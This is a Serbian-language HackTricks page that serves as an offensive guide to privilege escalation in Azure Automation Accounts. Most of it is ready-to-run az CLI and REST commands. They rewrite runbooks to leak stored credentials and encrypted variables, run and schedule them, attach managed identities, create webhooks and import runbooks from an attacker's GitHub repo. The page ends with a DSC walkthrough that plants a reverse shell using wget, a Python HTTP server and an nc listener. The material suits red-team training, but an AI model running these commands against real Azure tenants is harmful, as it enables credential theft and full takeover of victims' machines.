Az - Azure Automation Accounts Privesc

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Azure Automation Accounts

Za više informacija pogledajte:

Az - Automation Accounts

Hybrid Workers Group

  • Iz Automation Account u VM

Zapamtite da ako napadač nekako može da izvrši proizvoljan runbook (proizvoljni kod) na hybrid worker-u, on će pivot to the location of the VM. Ovo može biti on-premise mašina, VPC drugog cloud-a ili čak Azure VM.

Pored toga, ako hybrid worker radi u Azure-u sa drugim Managed Identities pridruženim, runbook će moći da pristupi managed identity of the runbook and all the managed identities of the VM from the metadata service.

Tip

Zapamtite da metadata service ima drugačiji URL (http://169.254.169.254) nego servis odakle se dobija managed identities token automation account-a (IDENTITY_ENDPOINT).

  • Iz VM-a u Automation Account

Pored toga, ako neko kompromituje VM na kojem se izvršava skripta iz automation account-a, moći će da locira Automation Account metadata i pristupi njima sa VM-a kako bi dobio tokene za Managed Identities pridružene Automation Account-u.

Kao što se može videti na sledećoj slici, imajući Administrator pristup nad VM-om moguće je pronaći u environment variables of the process URL i secret za pristup automation account metadata service:

Microsoft.Automation/automationAccounts/jobs/write, Microsoft.Automation/automationAccounts/runbooks/draft/write, Microsoft.Automation/automationAccounts/jobs/output/read, Microsoft.Automation/automationAccounts/runbooks/publish/action (Microsoft.Resources/subscriptions/resourcegroups/read, Microsoft.Automation/automationAccounts/runbooks/write)

Ukratko, ove dozvole omogućavaju da create, modify and run Runbooks u Automation Account-u, što možete iskoristiti da execute code u kontekstu Automation Account-a i eskalirate privilegije na dodeljene Managed Identities i leak credentials i encrypted variables koje su sačuvane u Automation Account-u.

Dozvola Microsoft.Automation/automationAccounts/runbooks/draft/write omogućava izmenu koda Runbook-a u Automation Account-u koristeći:

# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content '$creds = Get-AutomationPSCredential -Name "<credential-name>"
$runbook_variable = Get-AutomationVariable -Name "<encrypted-variable-name>"
$runbook_variable
$creds.GetNetworkCredential().username
$creds.GetNetworkCredential().password'

Obratite pažnju kako prethodni skript može da se iskoristi za leak korisničkog imena i lozinke kredencijala i vrednost šifrovane promenljive koja je sačuvana u Automation Account.

Dozvola Microsoft.Automation/automationAccounts/runbooks/publish/action omogućava korisniku da objavi Runbook u Automation Account tako da se promene primene:

az automation runbook publish \
--resource-group <res-group> \
--automation-account-name <account-name> \
--name <runbook-name>

Dozvola Microsoft.Automation/automationAccounts/jobs/write omogućava korisniku da pokrene Runbook u Automation Account koristeći:

az automation runbook start \
--automation-account-name <account-name> \
--resource-group <res-group> \
--name <runbook-name> \
[--run-on <name-hybrid-group>]

Dozvola Microsoft.Automation/automationAccounts/jobs/output/read omogućava korisniku da pročita izlaz job-a u Automation Account koristeći:

az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/jobs/<job-name>/output?api-version=2023-11-01"

Ako nisu kreirani Runbooks, ili želite da kreirate novi, biće vam potrebna ovlašćenja Microsoft.Resources/subscriptions/resourcegroups/read i Microsoft.Automation/automationAccounts/runbooks/write da to uradite koristeći:

az automation runbook create --automation-account-name <account-name> --resource-group <res-group> --name <runbook-name> --type PowerShell

Microsoft.Automation/automationAccounts/write, Microsoft.ManagedIdentity/userAssignedIdentities/assign/action

Ova dozvola omogućava korisniku da dodeli user managed identity na Automation Account koristeći:

az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>?api-version=2020-01-13-preview" \
--headers "Content-Type=application/json" \
--body '{
"identity": {
"type": "UserAssigned",
"userAssignedIdentities": {
"/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<user-managed-identity-name>": {}
}
}
}'

Microsoft.Automation/automationAccounts/schedules/write, Microsoft.Automation/automationAccounts/jobSchedules/write

Sa dozvolom Microsoft.Automation/automationAccounts/schedules/write moguće je kreirati novi Schedule u Automation Account koji se izvršava svakih 15 minuta (nije baš stealth) koristeći sledeću komandu.

Imajte na umu da je najmanji interval za Schedule je 15 minuta, i da je minimalno vreme početka je 5 minuta u budućnosti.

## For linux
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every minute" \
--start-time "$(date -u -d "7 minutes" +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

## Form macOS
az automation schedule create \
--resource-group <RESOURCE_GROUP> \
--automation-account-name <AUTOMATION_ACCOUNT_NAME> \
--name <SCHEDULE_NAME> \
--description "Triggers runbook every 15 minutes" \
--start-time "$(date -u -v+7M +%Y-%m-%dT%H:%M:%SZ)" \
--frequency Minute \
--interval 15

Zatim, uz dozvolu Microsoft.Automation/automationAccounts/jobSchedules/write moguće je dodeliti Scheduler runbooku koristeći:

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"runOn": "",
"runbook": {
"name": "<runbook-name>"
},
"schedule": {
"name": "<scheduler-name>>"
},
"parameters": {}
}
}'

Tip

U prethodnom primeru jobchedule id je ostavljen kao b510808a-8fdc-4509-a115-12cfc3a2ad0d kao primer ali ćete morati da koristite proizvoljnu vrednost da biste kreirali ovo dodeljivanje.

Microsoft.Automation/automationAccounts/webhooks/write

Sa dozvolom Microsoft.Automation/automationAccounts/webhooks/write moguće je kreirati novi Webhook za Runbook unutar Automation Account koristeći jednu od sledećih komandi.

With Azure Powershell:

New-AzAutomationWebHook -Name <webhook-name> -ResourceGroupName <res-group> -AutomationAccountName <automation-account-name> -RunbookName <runbook-name> -IsEnabled $true

Koristeći AzureCLI i REST:

az rest --method put \
--uri "https://management.azure.com/subscriptions/<subscriptionID>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/webhooks/<webhook-name>?api-version=2015-10-31" \
--body '{
"name": "<webhook-name>",
"properties": {
"isEnabled": true,
"expiryTime": "2027-12-31T23:59:59+00:00",
"runOn": "<worker name>",
"runbook": {
"name": "<runbook-name>"
}
}
}'

Ove komande bi trebalo da vrate webhook URI koji se prikazuje samo prilikom kreiranja. Zatim, да бисте позвали runbook користећи webhook URI

curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \
-H "Content-Length: 0"

Microsoft.Automation/automationAccounts/runbooks/draft/write

Samo sa dozvolom Microsoft.Automation/automationAccounts/runbooks/draft/write moguće je ažurirati kod Runbook-a bez objavljivanja i pokrenuti ga koristeći sledeće komande.

# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
--resource-group Resource_Group_1 \
--automation-account-name autoaccount1 \
--name AzureAutomationTutorialWithIdentity \
--content 'echo "Hello World"'

# Run the unpublished code
## Indicate the name of the hybrid worker group in runOn to execute the runbook there
az rest \
--method PUT \
--url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob?api-version=2023-05-15-preview" \
--headers "Content-Type=application/json" \
--body '{
"parameters": {},
"runOn": "",
"runtimeEnvironment": "PowerShell-5.1"
}'

# Get the output (a different permission is needed here, but you could get a revershell or exfiltrate the token to avoid needing this permission)
az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Automation/automationAccounts/autoaccount1/runbooks/AzureAutomationTutorialWithIdentity/draft/testJob/streams?api-version=2019-06-01"

Microsoft.Automation/automationAccounts/sourceControls/write, (Microsoft.Automation/automationAccounts/sourceControls/read)

Ova dozvola omogućava korisniku da configure a source control za Automation Account koristeći komande kao u sledećem primeru (ovde se koristi Github kao primer):

az automation source-control create \
--resource-group <res-group> \
--automation-account-name <automation-account-name> \
--name RemoteGithub \
--repo-url https://github.com/carlospolop/gh-runbooks.git \
--branch main \
--folder-path /runbooks/ \
--publish-runbook true \
--auto-sync \
--source-type GitHub \
--token-type PersonalAccessToken \
--access-token github_pat_11AEDCVZ<rest-of-the-token>

Ovo će automatski importovati runbooks iz Github repository u Automation Account i uz još neke dozvole za njihovo pokretanje bilo bi moguće eskalirati privilegije.

Pored toga, imajte na umu da da bi source control funkcionisao u Automation Accounts mora imati managed identity sa ulogom Contributor, i ako je u pitanju user managed identity, client id MI mora biti naveden u promenljivoj AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID.

Tip

Imajte na umu da nije moguće promeniti repo URL source control-a nakon što je kreiran.

Microsoft.Automation/automationAccounts/variables/write

Sa dozvolom Microsoft.Automation/automationAccounts/variables/write moguće je upisivati promenljive u Automation Account koristeći sledeću naredbu.

az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-account-name>/variables/<variable-name>?api-version=2019-06-01" \
--headers "Content-Type=application/json" \
--body '{
"name": "<variable-name>",
"properties": {
"description": "",
"value": "\"<variable-value>\"",
"isEncrypted": false
}
}'

Prilagođena runtime okruženja

Ako automation account koristi custom runtime environment, moguće je prepisati custom package tog runtime-a zlonamernim kodom (poput a backdoor). Na taj način, kad god se pokrene runbook koji koristi taj custom runtime i učita custom package, zlonamerni kod će biti izvršen.

Kompromitovanje State Configuration

Pročitajte ceo post na: https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe

  • Korak 1 — Kreiranje fajlova

Potrebni fajlovi: Potrebne su dve PowerShell skripte:

  1. reverse_shell_config.ps1: Desired State Configuration (DSC) fajl koji preuzima i izvršava payload. Dostupan je na GitHub.
  2. push_reverse_shell_config.ps1: skripta za objavljivanje konfiguracije na VM, dostupna na GitHub.

Prilagođavanje: Varijable i parametri u ovim fajlovima moraju biti prilagođeni specifičnom okruženju korisnika, uključujući nazive resursa, putanje fajlova i identifikatore servera/payload-a.

  • Korak 2 — Kompresovanje konfiguracionog fajla

reverse_shell_config.ps1 je kompresovan u .zip fajl, čime je spreman za prebacivanje na Azure Storage Account.

Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
  • Korak 3 — Set Storage Context & Upload

Zipovana konfiguraciona datoteka se otprema u predefinisani Azure Storage container, azure-pentest, koristeći Azure-ov Set-AzStorageBlobContent cmdlet.

Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
  • Korak 4 — Priprema Kali mašine

Kali server preuzima RevPS.ps1 payload iz GitHub repozitorijuma.

wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1

Skript se izmenjuje da bi se odredio ciljni Windows VM i port za reverse shell.

  • Korak 5 — Objavi konfiguracioni fajl

Konfiguracioni fajl se izvršava, zbog čega se reverse-shell skripta postavlja na navedenu lokaciju na Windows VM.

  • Korak 6 — Hostovanje payload-a i podešavanje listener-a

Pokreće se Python SimpleHTTPServer da bi hostovao payload, zajedno sa Netcat listener-om za hvatanje dolaznih konekcija.

sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443

Zakazani zadatak izvršava payload, dostižući privilegije na nivou SYSTEM.

Tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks